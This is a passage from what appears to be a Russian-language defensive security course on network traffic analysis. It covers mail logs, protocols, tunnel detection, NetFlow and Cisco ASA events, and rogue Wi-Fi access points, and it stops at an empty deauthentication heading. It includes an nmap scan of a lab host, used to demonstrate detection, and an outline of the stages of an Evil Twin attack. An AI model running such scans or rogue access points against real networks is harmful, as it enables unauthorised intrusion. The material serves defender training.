8. Информация о сетевой активности и портах:

   Start getting ports with turn_port_prune_policy 0 Port[ac5d5800::1:0:local:Net[en0:192.168.1.x/24:Unknown:id=1]]: Port created with network cost 50
                     

   Указываются действия по получению портов, инициализация порта сети и соответствующая сетевая информация.

Поведенческий анализ в почтовых приложениях

Заголовки почтовых сообщений

Почтовые сообщения содержат различные заголовки, которые предоставляют информацию о различных аспектах сообщения. Вот некоторые из основных заголовков электронных писем:

Помимо стандартных заголовков существуют кастомные заголовки, или x-headers.

X-headers (или расширенные заголовки) в почтовых письмах представляют собой дополнительные заголовки, начинающиеся с "X-" и используемые для включения дополнительной информации в сообщение. Эти заголовки могут быть добавлены почтовыми серверами, клиентами электронной почты или другими почтовыми агентами с целью предоставить дополнительные метаданные или сведения, которые не входят в стандартные заголовки электронных писем.

Примеры X-headers могут включать в себя:

X-headers не являются стандартными и могут различаться в зависимости от почтового сервера или клиента электронной почты. Некоторые из них могут быть полезными для анализа и фильтрации сообщений, в то время как другие могут использоваться для внутренних целей или же могут быть добавлены сторонними службами для слежения за потоком сообщений.

Администраторы систем электронной почты, разработчики и аналитики могут использовать X-headers для отслеживания и анализа трафика электронной почты, но их присутствие или отсутствие обычно не влияет на отображение письма в клиенте электронной почты для конечного пользователя.

Почтовые логи, которые можно проанализировать

Получение почты (SMTP-логи):

• Записи о входящих соединениях с другими почтовыми серверами.
• Информация о отправителях и получателях электронных писем.
• Данные о передаче электронных писем между серверами.

Отправка почты (SMTP-логи):

• Информация о исходящих соединениях с почтовыми серверами.
• Детали отправляемых писем, такие как отправитель, получатель, время отправки.
• Доставка почты (POP/IMAP-логи)

Фильтрация и обработка спама (спам-логи):

• Журналы обнаружения и блокировки потенциально нежелательной почты.
• Информация о действиях антиспам-фильтров.

Аутентификация и безопасность (логи безопасности):

• Записи об успешных и неудачных попытках входа в почтовый ящик.
• Информация о попытках аутентификации и блокировках при нарушении правил безопасности.

Журналы ошибок (error logs):

• Информация о любых ошибках, происходящих на сервере.
• Ошибки доставки писем или сбои в работе почтовой системы.

Журналы производительности (performance logs):

• Данные о загрузке сервера и производительности.
• Статистика использования ресурсов, таких как процессор, память и дисковое пространство.

Журналы обновлений и конфигурации:

• Записи об изменениях в конфигурации почтового сервера.
• Информация об обновлениях программного обеспечения.

Анализ NetFlow

Выявляет необычные паттерны трафика, которые могут указывать на вредоносную активность. Дамп трафика содержит более детальную информацию, которая может быть проанализирована для выявления конкретных векторов атак и методов, используемых злоумышленниками. Техника направлена на более глубокое понимание сетевой активности для предотвращения атак. 

Анализ сетевого трафика

Для выявления аномалий необходимо иметь возможность составить набор из типичного трафика, который в итоге образует так называемый "базовый уровень", на фоне которого будут определяться аномалии.

Базовый уровень — набор временных данных, который используется для сравнения с новыми данными с целью выявления аномалий или аномальных паттернов.

Злоумышленники скрывают присутствие в инфраструктуре. В трафике это видно как аномальное поведение. В каких случаях используют анализ сетевого трафика:

• Сбор трафика в реальном времени для выявления угроз (сигнатурный анализ, правила корреляции).
• Фиксация обычных для инфраструктуры внутренних взаимодействий в сети.
• Идентификация и анализ трафика на нестандартных портах и/или новых в сети хостах.
• Обнаружение проблем в сети или в веб-приложениях.
• Обнаружение ВПО.
• Активный поиск угроз (Threat hunting).

Например, всплеск SYN-пакетов, отправленных на множество различных портов — это с огромной вероятностью будет свидетельствовать о вертикальном сканировании.

TCP: Механизм тройного рукопожатия в TCP

Тройное рукопожатие используется в TCP для установления соединения между двумя хостами (клиентом и сервером):

1. Отправка запроса на соединение (SYN): Когда клиенту нужно установить соединение с сервером, он отправляет пакет с флагом SYN (synchronize) серверу

2. Подтверждение запроса и отправка запроса на соединение обратно (SYN-ACK): Сервер, получив пакет с флагом SYN, отвечает на него, устанавливая флаги SYN и ACK (acknowledgment). Флаг ACK указывает, что сервер получил пакет SYN от клиента. Этот пакет с флагами SYN и ACK отправляется обратно клиенту

3. Подтверждение ответа сервера (ACK): Клиент, получив пакет с флагами SYN и ACK от сервера, отправляет ответный пакет с флагом ACK. Этот пакет подтверждает, что клиент успешно получил подтверждение от сервера.

После завершения этой процедуры обе стороны могут начать обмен данными. Теперь соединение установлено и готово к передаче информации в обоих направлениях.

Нормальным окончанием сессии считается ситуация, когда клиент и сервер обмениваются пакетами с флагами FIN и ACK. Одна сторона отправляет FIN, вторая ответом отправляет ACK и FIN, вторая отправляет ACK. 

О "ненормальном" закрытии сессии свидетельствуют пакеты с флагами RST (reset).Пакет с флагом RST закрывает сессию, не дожидаясь обмена пакетами с флагом FIN между хостами. 

Методы HTTP

Для выполнения операций вроде загрузки страницы, запроса о скачивании файла или публикации чего-либо на сайт используются определенные методы. Эти методы определяют действия, совершаемые при запросе URI.

Методы GET и HEAD всегда должны работать в стандартной имплементации HTTP. Другие методы являются опциональными функциями, которые может разрешить владелец ресурса. Примером этого может быть доступная только для чтения страница вроде поста в блоге. Клиент может запросить от нее ресурсы и данные, но не способен модифицировать, добавлять или удалять их. Методы:

• GET — наиболее распространенный метод, запрашивающий информацию и контент с сервера. Например, GET http://10.1.1.1/Webserver/index.html затребует страницу index.html с сервера согласно представленному URI.
• HEAD — безопасный метод, требующий от сервера ответа схожего с запросом GET но без включения тела сообщения. Метод помогает получить информацию о сервере и его статусе.
• POST — способ отправить информацию на сервер, основываясь на заполненных полях в запросе. Например, отправление сообщения в Facebook или на форуме сайта это действие POST. Конкретное действие может отличаться в зависимости от сервера и поэтому следует обращать внимание на ответные коды подтверждения.
• PUT — метод использует приложенные к сообщению данные и помещает их по запрошенному URI. Если такого предмета еще не существует, то он будет создан из приложенных данных. Если он уже существует, то новый PUT будет считаться обновлением и предмет будет модифицирован соответствующим образом. Наиболее просто иллюстрирует различие между PUT и POST следующее: PUT создает или обновляет объект по указанному URI, в то время как POST создает дочерние сущности по соответствующему URI. Его можно также сравнить с разницей между созданием нового файла и комментарием, оставленным на странице с файлом.
• DELETE — удаляет предмет по указанному URI.
• TRACE — позволяет произвести удаленную диагностику сервера. При использовании метода TRACE удаленный сервер ответит тем же запросом, который был ему отправлен.
• OPTIONS - метод, позволяющий собрать информацию о поддерживаемых сервером методах HTTP. Таким образом мы можем определить требования к взаимодействую с определенным ресурсом или сервером без собственно запросов от него объектов или данных.
• CONNECT - метод, отведенный для использования с прокси и другими инструментами безопасности вроде межсетевых экранов. CONNECT позволяет туннелировать через HTTP (SSL туннели).

Коды ответа HTTP

Коды ответа HTTP (HTTP status codes) представляют собой числовые значения, которые отправляются сервером в ответ на запрос клиента. Эти коды позволяют клиентским приложениям понимать результат запроса и принимать соответствующие действия. Коды ответа HTTP делятся на пять основных классов:

Заголовки HTTP

Заголовки содержат ключевую информацию о данных, которые передаются, формате сообщения, авторизации, кэшировании и других аспектах HTTP-протокола.

Рассмотрим некоторые распространенные заголовки HTTP:

1. Общие заголовки (Common Headers):
   • Cache-Control: Управляет кэшированием, указывая, должны ли данные кэшироваться и как долго.
   • Date: Содержит дату и время, когда сообщение было отправлено.
   • Connection: Управляет соединением между клиентом и сервером, указывая, должно ли соединение быть закрытым после завершения запроса/ответа.
2. Заголовки запроса (Request Headers):
   • Host: Содержит доменное имя сервера и порт, к которому выполняется запрос.
   • User-Agent: Идентифицирует программное обеспечение, инициировавшее запрос (например, браузер или мобильное приложение).
   • Accept: Указывает типы медиа-ресурсов, которые клиент может принимать.
   • Authorization: Используется для передачи информации об аутентификации для доступа к защищенным ресурсам.
3. Заголовки ответа (Response Headers):
   • Location: Используется для перенаправления клиента на другой ресурс или URL.
   • Server: Содержит информацию о веб-сервере, который обрабатывает запрос.
   • Content-Type: Указывает тип медиа-ресурса в теле ответа (например, текст, изображение, JSON и т. д.).
   • Set-Cookie: Устанавливает куки на стороне клиента, позволяя серверу хранить информацию о состоянии сеанса.
4. Заголовки сущности (Entity Headers):
   • Content-Length: Указывает размер тела сообщения в октетах (байтах).
   • Content-Encoding: Указывает метод сжатия данных, используемый в теле сообщения.
   • Content-Disposition: Позволяет указать, должно ли содержимое быть отображено в браузере или загружено как файл.

TLS-рукопожатие

1. Приветствие (ClientHello): Процесс начинается с того, что клиент отправляет серверу сообщение ClientHello, в котором он указывает поддерживаемые криптографические алгоритмы и другие параметры.

2. Ответ сервера (ServerHello): Сервер выбирает подходящие параметры из списка, предложенного клиентом, и отправляет сообщение ServerHello в ответ. Это сообщение также включает в себя сертификат сервера, который клиент может использовать для проверки подлинности сервера.

3. Аутентификация сервера (Server Certificate): Сервер отправляет свой цифровой сертификат клиенту, который содержит публичный ключ сервера и информацию о сертификационном центре, который подписал сертификат.

4. Аутентификация клиента (Optional Client Certificate): Если сервер требует аутентификацию клиента, он может запросить клиентский сертификат. Клиент отправляет свой сертификат серверу, который также содержит публичный ключ клиента.

5. Обмен ключами (Key Exchange): Клиент и сервер обмениваются ключами для шифрования и расшифрования данных. Это может включать в себя процесс Diffie-Hellman обмена ключами или использование предварительно распределенных ключей (Pre-Shared Key) в случае TLS 1.3.

6. Завершение рукопожатия (Finished): После установки ключей и параметров шифрования, клиент и сервер отправляют Finished сообщения друг другу для подтверждения, что рукопожатие завершено успешно.

7. После завершения TLS рукопожатия оба конца соединения могут безопасно обмениваться данными, которые автоматически шифруются и расшифровываются с использованием установленных ключей.

SNI

SNI (Server Name Indication) — это расширение протокола TLS. SNI позволяет клиентскому устройству указывать серверу, с каким конкретным доменным именем оно хочет установить защищенное TLS-соединение. Это особенно важно в сценариях виртуального хостинга, где на одном сервере размещаются несколько веб-сайтов с разными доменными именами.

Анализ SNI в HTTPS трафике проводится для следующих целей:

• определение, к каким конкретным ресурсам обращается хост;
• управление доступом к ресурсам в зависимости от запрошенных доменных имен;
• обнаружение вредоносных или подозрительных доменных имен.

Протоколы прикладного уровня

FTP

FTP по своей сути является небезопасным протоколом и большинство пользователей для передачи данных через безопасный канал используют такие инструменты как SFTP.

FTP использует сразу несколько портов одновременно. FTP использует порты 20 и 21 TCP. Порт 20 используется для передачи данных, порт 21 используется для исполнения управляющих FTP-сессией команд. 

FTP может работать в двух режимах. Активный это обычный операционный метод FTP, означающий что сервер ожидает от клиента контрольной команды PORT, заявляющей используемый для передачи данных порт. Пассивный режим открывает доступ к FTP-серверам, находящимся за межсетевым экраном или запрещающим прямое TCP-подключение NAT. В таком случае клиент посылает команду PASV и ждет отклика сервера, информирующего клиента о используемых для передачи данных IP и порте.

Команды, использующие порт 21:

• USER указывает на логин пользователя;
• PASS отправляет пароль пытающегося залогиниться пользователя;
• PORT в активном режиме изменяет используемый данными порт;
• LIST отображает список файлов в текущей директории;
• CWD изменяет текущую рабочую директорию на указанную;
• SIZE возвращает размер указанного файла;
• RETR скачивает файл с FTP-сервера;
• QUIT заканчивает сессию.

SMB

SMB (Server Message Block) используется для обмена файлами, принтерами, портами и другими ресурсами, чаще всего используется Microsoft Windows. SMB ориентирован на соединение протоколом, требует аутентификации пользователя от хоста к ресурсу для подтверждения допуска. В прошлом SMB использовал в качестве транспортного механизма NetBIOS через порты UDP 137 и 138. После современных изменений SMB также поддерживает прямой TCP-транспорт через порт 445, NetBIOS через TCP порт 139 и даже протокол QUIC.

Большое количество повторяющихся неуспешных логинов может означать о попытке получить доступ к аккаунту пользователя или использовать его права. Это распространенная тактика, использующая украденные у аутентифицированного пользователя учетные данные и права для горизонтального перемещения по системе или получения доступа к ресурсам.

DNS

Протокол DNS (Domain Name System) отвечает за преобразование доменных имен (например, www.example.com) в IP-адреса, которые используются для обмена данными в сети.

Записи DNS:

A (Address) Record: Сопоставляет доменное имя с IPv4-адресом.
AAAA (IPv6 Address) Record: Сопоставляет доменное имя с IPv6-адресом.
CNAME (Canonical Name) Record: Устанавливает альтернативное доменное имя для существующего доменного имени.
MX (Mail Exchange) Record: Указывает почтовый сервер, который обрабатывает почтовые сообщения для доменного имени.
NS (Name Server) Record: Определяет DNS-серверы, ответственные за зону доменного имени.
PTR (Pointer) Record: Используется для обратного разрешения и сопоставляет IP-адрес с доменным именем.
TXT (Text) Record: Позволяет добавить произвольный текст к записи DNS.

ICMP-туннель — это метод, используемый злоумышленниками для передачи данных через сеть, используя ICMP-пакеты вместо стандартных данных. Туннелирование помогает обойти правила IDS/IPS и/или межсетевых экранов, так как трафик конкретного приложения (например, ssh) передается под видом ICMP пакетов.

Детектирование ICMP-туннелей:

• Мониторинг сетевого трафика и поиск необычных или больших объемов ICMP-пакетов может помочь выявить использование ICMP-туннелей.
• Использование IDS/IPS/NTA для выявления аномалий в трафике, включая необычные или слишком частые запросы ICMP, может быть полезным инструментом для обнаружения таких атак.
• Анализ содержимого ICMP-пакетов, включая данные и структуру, может помочь выявить ICMP-туннелирование. Это может быть сделано с использованием специализированных инструментов и программных средств анализа сети типа NTA.

Детектирование DNS-туннелей:

• Анализ трафика: трафик DNS-туннелей на первый взгляд будет мало отличаться от обычного DNS трафика, особенно если у нас нет информации о конкретном хосте, и трафик снимался просто по 53 порту - на фоне обычного трафика туннель может "потеряться" из вида, но зная методы обнаружения DNS-туннелей, их будет возможно обнаружить в дампе.
• Обнаружение аномалий в трафике: существуют сигнатуры IDS/IPS для детектирования туннелей, они могут быть полезным инструментом для обнаружения DNS-туннелирования.
• Мониторинг DNS-логов: Мониторинг и анализ DNS-логов может помочь выявить необычные запросы и ответы, которые могут свидетельствовать о DNS-туннелировании.

NetFlow 

Разработана Cisco для мониторинга и сбора статистики сетевого трафика. NetFlow собирает информацию о трафике в виде потоков на уровне сетевого устройства.

Каждое устройство, поддерживающее NetFlow, генерирует записи о трафике, содержащие информацию о переданных пакетах, объеме данных, источнике, назначении, протоколе и других параметрах.

Собранные данные могут быть использованы для анализа трафика и выявления различных характеристик сетевой активности. Это может включать в себя определение причин задержек в сети, выявление аномалий в трафике, в том числе NetFlow позволяет обнаруживать вредоносный трафик - например, DDoS атаки и сканирования, а также многое другое.

NetFlow включает в себя следующие компоненты:

• NetFlow exporter (сенсор) — устройство, поддерживающее технологию NetFlow, например, маршрутизатор, работает в качестве сенсора и собирает информацию о трафике. Оно агрегирует пакеты данных в потоки и экспортирует записи NetFlow по протоколу UDP на один или несколько коллекторов NetFlow. Поток, распознаваемый сенсором, должен иметь по крайней мере один из следующих общих параметров: порт входного интерфейса, IP-адрес и порты источника, и назначения и протокол 3 уровня. Поток считается готовым для экспорта в NetFlow, когда он неактивен в течение заданного периода времени или когда флаг TCP (например, FIN или RST) указывает на завершение потока.
• NetFlow collector (коллектор) — может быть на базе аппаратных или программных средств, однако программные средства используются более часто. Коллекторы NetFlow получают данные потоков от сенсоров, предварительно их обрабатывают и сохраняют в хранилище.
• NetFlow analyzer (анализатор) — обрабатывает и анализирует потоки, полученные и сохраненные коллектором. Он преобразует данные в отчеты и алерты, предоставляя в них информацию о характеристиках трафика, которые могут выявлять угрозы безопасности и проблемы в трафике.

NetFlow использует UDP или SCTP (Stream Control Transmission Protocol) для передачи данных от сенсора до коллектора. Как правило, коллектор слушает порты 2055, 9555 или 9995.

Потоки содержат в себе следующие поля в зависимости от протокола 3 уровня:

• номер версии протокола;
• номер записи;
• входящий и исходящий сетевой интерфейс;
• время начала и конца потока;
• количество байт и пакетов в потоке;
• IP адрес источника и назначения;
• порт источника и назначения;
• номер протокола IP;
• значение Type of Service;
• флаги TCP-соединений;
• адрес шлюза;
• маски подсети источника и назначения.

Обнаружение сканирования портов с помощью NetFlow

Предположим, было запущено простое сканирование открытых портов с помощью сканера портов Nmap с аргументами 

nmap -Pn -sV 192.168.1.2
                  

Рассмотрим как сканирование открытых портов будет журналировано и задетектировано с помощью решения NetFlowAnalyzer от ManageEngine (данное решение является коммерческим с возможностью использования в течении 30дневного пробного периода и выбран в целях демонстрации в рамках данного курса).

Если посмотреть на скриншот ниже, то можно увидеть резкий всплеск сетевого трафика в 17:55 направленного на хост с IP-адресом 192.168.1.2. 

На скришоте ниже видно количество входящих сетевых пакетов, которые в момент сканирования портов достигли значения 2116.

Рассмотрим события из вкладки Security, в котором могут быть сработки сигнатур для выявления различных аномалий, где мы как раз видим алерты сигнатуры TCP Syn Port Scan с IP-адреса 192.168.1.8 нацеленного на IP-адрес 192.168.1.2, как раз в 17:55.

Если открыть алерт со сканированием, то можно увидеть входящие в него события, где уже видно какие порты были просканированы.

Если дополнительно проанализировать на атакуемом хосте c IP-адресом 192.168.1.2 журналирование событий Sysmon с EventID = 3 (Network Connection), то можно увидеть большое количество сетевых соединений с различными портами, что также констатирует об активности сканирования портов.

Отсюда можно сделать вывод, что для выявления сканирований различных портов на одном хосте, необходимо отслеживать пиковые исходящие активности от одного хоста инициатора и анализировать их.

В качестве альтернативного решения для сбора, нормализации, визуализации и анализа NetFlow трафика может быть использован netflow модуль для logstash, который тоже поддерживает NetFlow 5 и 9 версии.

На панели «Overview» размещена сводка основных данных о сетевом трафике, возможно настроить фильтры.

На панели «Conversation Partners» IP-адреса отправителя, получателя и объем передаваемого трафика.

На панели «Traffic Analysis» можно более детально проанализировать объемы передаваемого трафика за конкретный временной период.

Затем можете перейти на панель «Geo Location», где визуально посмотрите тепловую карту с потоком сетевого трафика.

Обнаружение подозрительной активности в событиях сетевых устройств

Сетевое оборудование и межсетевые экраны журналируют события сетевых соединений, действия в системе и изменения в собственных настройках в стандарте syslog. Но фиксация кажового события сетевого соединения часто невозможна на высоконагруженных сетях из-за большого объема событий, поэтому менее затратным, в плане дисковой подсистемы, является мониторинг статистики сетевых соединений NetFlow.

События сетевого устройства Cisco

Рассмотрим примеры событий с Cisco ASA, у которого подробная документация по описанию событий. В рамках начального курса не будем углубляться в детали настройки системы журналирования. При необходимости подробно можно ознакомиться с конфигурированием аудита на сайте вендора.

May  5 19:02:25 dev01: %ASA-3-113021: Attempted console login failed. User adm did NOT have appropriate Admin Rights.
May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = adm , Session Type: admin
May  5 19:02:25 dev01: %ASA-6-716039: Authentication: rejected, group = lab user = ivan , Session Type: WebVPN
May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <adm> IP <172.31.98.44> Authentication: rejected, Session Type: Admin.
May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <ivan> IP <172.31.98.44> Authentication: rejected, Session Type: WebVPN.
                  

Если обратить внимание, то события Cisco имеют структуру, где:

• May  5 19:02:25 - месяц, день и время регистрации события;
• dev01 - наименование устройства, на котором зарегистрировано событие;
• %ASA-3-113021 - идентификатор события, описание события в документации вендора;

• Attempted console login failed. User eve did NOT have appropriate Admin Rights - описание/тело события.

Соответственно первое событие 

May  5 19:02:25 dev01: %ASA-3-113021: Attempted console login failed. User adm did NOT have appropriate Admin Rights
                  

фиксирует неудачную попытку аутентификации к консоли администрирования сетевого оборудования Cisco под учетной записью adm с правами администратора.

В следующем событии 

May  5 19:02:25 dev01: %ASA-6-716039: Group <lab> User <adm> IP <172.31.98.44> Authentication: rejected, Session Type: Admin
                  

зафиксирована информация, с какого IP-адреса(172.31.98.44) была неудачная попытка аутентификации к консоли сетевого оборудования под учетной записью adm, где так же указан тип сессии Admin, который позволит нам отличить от других типов соединений, таких как подключений к VPN, у которых будет тип сессии WebVPN Session Type: WebVPN.

Таким образом можно отслеживать несанкционированные попытки подключения, подбора паролей консоли управления сетевого оборудования для учетных записей сетевых устройств.

Следующий набор событий для примера:

May  5 19:03:27 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list fw211111_access_out brief
May  5 19:02:26 dev01: %ASA-7-111009: User 'pavel' executed cmd: show access-list aaa_out brief
Apr 27 02:03:03 dev01: %ASA-5-111004: console end configuration: OK
Apr 27 02:03:03 dev01: %ASA-5-111010: User 'enable_15', running 'CLI' from IP 10.10.0.87, executed 'clear'
Apr 27 02:03:03 dev01: %ASA-5-502103: User priv level changed: Uname: enable_15 From: 1 To: 15
                  

Событие с идентификатором %ASA-7-111009 фиксирует любые команды без изменения конфигурации, выполненные в консоли управления сетевым оборудованием Cisco. В данном случае зафиксировано выполнение команды по выводу листа с разрешениями show access-list fw211111_access_out brief.

Событие с идентификатором %ASA-5-111010 фиксирует изменение конфигурации оборудования под учетной записьюenable_15, при это журналируется IP-адрес откуда был запущена консоль управления running 'CLI' from IP 10.10.0.87, в данном случае выполнена команда clear. 

Событие с идентификатором %ASA-5-502103 фиксирует изменение уровня привилегий у учетной записи enable_15 от 1 до 15 From: 1 To: 15.У оборудования Cisco всего используется 15 уровней привилегий. Уровень привилегий 1 (privilege 1). Соответствует пользовательскому режиму (т.е. в качестве приглашения в командной строке switch>). Команды из привилегированного режима недоступны. Уровень привилегий 15 (privilege 15). Привилегированный режим, где доступны все команды (приглашение в командной строке switch#).

Фильтрация 

Фильтрация исходящего трафика необходима прежде всего для предотвращения утечек данных и контроля использования внешних ресурсов. Основные методы:

• Stateful Packet Inspection (SPI). Этот метод фильтрации анализирует сетевые сессии, а не просто отдельные пакеты данных. В отличие от более простой фильтрации пакетов, которая решает принимать или отклонять пакеты на основе их содержимого (например, IP-адреса и порта), SPI учитывает контекст и состояние каждого соединения.
• Application Layer Filtering. Фильтрация на уровне приложения позволяет анализировать трафик, ориентируясь на конкретные приложения или службы. Это может включать в себя блокировку определенных протоколов или служб, таких как FTP, HTTP, или использование специализированных систем контроля контента.
• URL Filtering. Фильтрация URL предотвращает доступ к определенным веб-сайтам или категориям веб-сайтов. Это может быть полезным для управления производительностью, обеспечения безопасности и соблюдения корпоративных политик.
• Data Loss Prevention (DLP). Технологии DLP помогают предотвращать утечку конфиденциальных данных, блокируя передачу конфиденциальной информации в исходящем трафике.

Инструменты и технологии:

• Брандмауэры и межсетевые экраны (Firewalls). Они обычно предоставляют основные средства фильтрации исходящего трафика.
• Прокси-сервера. Прокси-серверы могут использоваться для контроля доступа, фильтрации содержимого и анализа трафика.
• Системы предотвращения утечки данных (DLP systems). DLP-системы предназначены для обнаружения и блокировки утечек конфиденциальной информации.
• Системы Content Filtering и URL Filtering. Используются для фильтрации по категориям, блокировке веб-сайтов и контроля за тем, какие типы контента могут быть доступны через сеть.
• Эффективная фильтрация исходящего трафика важна для обеспечения безопасности и эффективности работы сети, а также для соблюдения корпоративных политик и нормативных требований.

Фильтрация входящего трафика необходима для защиты от атак, направленных снаружи. Основные методы фильтрации входящего трафика:

• Stateful Packet Inspection (SPI). Аналогично с фильтрацией исходящего трафика, выполняется проверка сессий на предмет аномальных взаимодействий.
• Блокировка по IP-адресам и портам. Администраторы могут определить правила фильтрации для блокировки трафика с определенных IP-адресов или портов. Это может быть использовано для предотвращения атак, связанных с известными вредоносными IP-адресами или портами.
• Антивирусная фильтрация. Входящий трафик проверяется на предмет вредоносной активности.
• Content Filtering: В контексте фильтрации входящего трафика фильтрация контента относится к защите от фишинговых почтовых рассылок
• Intrusion Detection Systems (IDS) и Intrusion Prevention Systems (IPS). Эти системы обнаруживают и предотвращают вторжения, анализируя входящий трафик по пакетам на предмет аномалий и подозрительного поведения.

Инструменты и технологии:

• Межсетевые экраны, в том числе WAF. Позволяют фильтровать входящий сетевой трафик по определенным критериям (адреса, порты, заголовки HTTP и т.д.)
• IDS/IPS. С помощью сигнатурного анализа позволяют выявлять и/или блокировать подозрительный трафик
• Content Filtering Systems. Блокируют взаимодействия с потенциально опасным контентом, в том числе защищают от фишинговых рассылок

Подходы к анализу трафика

Сначала необходимо определить, что именно мы будем искать. Например, мы знаем, что злоумышленник закрепился на конкретном хосте, тогда нас будет интересовать входящий и исходящий трафик относительно этого хоста. Настроив фильтры при захвате трафика или при поиске в уже существующих дампах, мы можем приступать к анализу.

На что можно опираться при анализе трафика:

• Зашифрован трафик или нет? Должен ли он быть таковым?
• Пытались ли потенциальные злоумышленники получить доступ к ресурсам, доступ к которым для них ограничен?
• Взаимодействуют ли между собой хосты, которые обычно такого не делают?
• Возникают ли ошибки, как отвечают на запросы хосты?
• Есть ли что-то, что выбивается из общей статистики в трафике?

На этом этапе могут пригодиться другие инструменты вроде IDS и IPS. Опираясь на сигнатурный анализ, можно выявить не легитимный трафик и исходя из полученной информации развивать поиск.

Анализ сетевого трафика является динамическим процессом, способным изменяться в зависимости от доступных инструментов и "прозрачности" нашей сети (передается ли трафик в зашифрованном или в открытом виде).

Здесь важно уметь делать разделение данных на доступные для понимания фрагменты, изучение их на предмет отличий от обычного трафика и на потенциально вредоносный трафик вроде неавторизованных подключений через интернет с помощью RDP, SSH или Telnet. Выполняя анализ, мы также пытаемся определить существующие в трафике тренды и понять, насколько они соотносятся с обычным трафиком.

Практические советы по анализу трафика:

Поиск лучше всего начинать со стандартных протоколов, переходя к более редким постепенно по мере анализа. Большая часть атак происходит из интернета и поэтому требует получения доступа во внутреннюю сеть. Это означает появление трафика и создание касающихся его логов. HTTP/S, FTP, E-mail и обычный TCP и UDP трафик будет наиболее распространенным входящим внешним трафиком. Начинайте с него, фильтруя все, что не касается расследования. После этого проверьте все стандартные протоколы, обеспечивающие связь между сетями - SSH, RDP или Telnet. Когда вы ищете подобные аномалии, учитывайте политику безопасности сети. Допускает ли политика безопасности нашей организации сессии RDP, инициируемые извне? А использование Telnet?

Ищите паттерны. Один или несколько хостов регулярно сверяются с чем-то в интернете в одно и то же время? Это обычное поведение при взаимодействии с CnC серверами.

Обращайте внимание на уникальные события. Отличающаяся от обычных приложений строка Юзер-Агента или подключающиеся к внешнему серверу хосты также требуют внимания. Подозрение вызывает также привязанный только единожды или дважды порт - он может быть открытым для обратного CnC-трафика, для нестандартных действий с чьей-то стороны или же для аномально функционирующего приложения.

Не бойтесь просить помощи. Во-первых, после длительного просмотра дампов и логов можно упустить из вида важные детали, которые может заметить "свежий взгляд". Во-вторых, при разборе инцидента часто необходимо использовать другие компетенции помимо анализа сетевого трафика - например, просматривать логи DNS-сервера и контроллера домена.

WiFi периметр

Фальшивые точки доступа

Rogue Access Point (фальшивая точка доступа) — это беспроводная точка доступа (AP), установленная и подключенная к сети без разрешения администратора и не является частью официальной инфраструктуры. Rogue AP представляют угрозу для безопасности сети, так как злоумышленник может размещать Rogue AP с целью выполнения таких атак, как перехват данных, человек посередине (man-in-the-middle), и подмену трафика. Как правило, на размещенной точке доступа устанавливается wi-fi сеть с названием (SSID), идентичным или очень похожим на имя публичной сети компании, таким образом пользователи не задумываясь могут подключаться к сети злоумышленника.

Мониторинг фальшивых точек доступа в офисном сетевом периметре может осуществляться следующими способами:

• Использование IDS/IPS — эти системы могут анализировать трафик и обнаруживать несанкционированные точки доступа.
• Проведение регулярных аудитов беспроводной сети с использованием специализированных инструментов (например, с использованием спектрального анализа).
• Мониторинг сетевого трафика.
• Мониторинг радиоэфира:
  • Спектральный анализ — использование инструментов для анализа радиочастотного спектра.
  • Использование специализированных Wi-Fi-анализаторов для сканирования беспроводного спектра.
  • Мониторинг уровней сигнала.
  • Локализация беспроводных устройств для определения физического местоположения беспроводных устройств.
  • Интеграция с системами мониторинга и управления сетью (NMS).

Существует несколько средств и методов для обнаружения фальшивых точек доступа:

1. Системы Управления Беспроводными Сетями (WLAN Management Systems, WMS)
   Позволяют мониторить и управлять беспроводными сетями: могут автоматически сканировать беспроводное пространство для обнаружения новых точек доступа и анализа их характеристик. Эти системы также могут предоставлять средства для удаления или блокирования фальшивых точек доступа.

2. Беспроводные системы предотвращения вторжений (Wireless Intrusion Prevention Systems, WIPS)
   Могут использовать различные методы обнаружения, такие как сбор статистики с беспроводных клиентов, анализ аномалий, и сканирование беспроводного пространства для обнаружения новых точек доступа. Некоторые WIPS также предоставляют средства для блокирования или предотвращения деятельности фальшивых точек доступа.

3. Анализаторы спектра
   Могут обнаруживать беспроводные сигналы в диапазоне, включая те, которые исходят от Rogue AP.

4. Мониторинг системных логов и событий
   Может выявить аномальную активность, такую как появление новых точек доступа, которые либо не входят в списки разрешенных, либо в целом не встречались ранее. Это требует внимательного мониторинга логов и реагирования на события, связанные с беспроводными сетями, техническим средством реализации такого мониторинга может являться SIEM система.

5. Пассивное Сканирование
   Можно "прослушивать" беспроводные каналы, записывая информацию о видимых устройствах, тем самым можно иметь возможность обнаруживать новые подключенные точки доступа.

6. Активное сканирование
   На точки доступа отправляются запросы и анализируются ответы с целью выявления фальшивых точек доступа.

Атака Evil Twin

Evil Twin — это атака на беспроводные сети, при которой злоумышленник создает поддельную точку доступа (AP), которая имитирует легитимную точку доступа. Злоумышленник заставляет пользователей подключаться к своей поддельной точке доступа, вместо легитимной, с целью перехвата данных или проведения других атак.

Основные этапы:

• Обнаружение сетей
  Злоумышленник сканирует беспроводные сети в поисках доступных точек доступа и их параметров (SSID, канал, MAC-адрес и др.).
• Создание поддельной точки доступа
  Злоумышленник создает точку доступа с тем же SSID, что и легитимная сеть, чтобы привлечь внимание пользователей.
• Имитация легитимной сети
  Поддельная точка доступа имитирует характеристики легитимной сети, такие как SSID, BSSID (MAC-адрес точки доступа), и другие параметры.
• Привлечение пользователей
  Злоумышленник может использовать различные методы для привлечения пользователей к своей поддельной сети. Это может включать в себя отправку пакетов деаутентификации, отправку фишинговых уведомлений о необходимости обновления пароля или обновления программного обеспечения.
• Перехват данных
  Когда пользователи подключаются к фальшивой точке доступа, злоумышленник может перехватывать и анализировать их сетевой трафик. Это может включать в себя анализ посещенных веб-сайтов, перехват данных для входа в системы и т.д.
• Внедрение вредоносного контента
  Злоумышленник может также использовать поддельную сеть для внедрения вредоносных скриптов или фишинговых страниц
• Выполнение других атак
  В зависимости от целей злоумышленника, атака Evil Twin может использоваться для различных целей, включая внедрение вредоносного программного обеспечения, уклонение от обнаружения и аутентификации, атак на данные и другие.

Защита от Evil Twin:

• Использовать шифрование (WPA2 или WPA3) для защиты беспроводных сетей.
• Обеспечить обнаружение фальшивых точек доступа.
• Обучать пользователей определять нелегитимные сети и избегать подключения к незащищенным сетям.

Атака Deauth

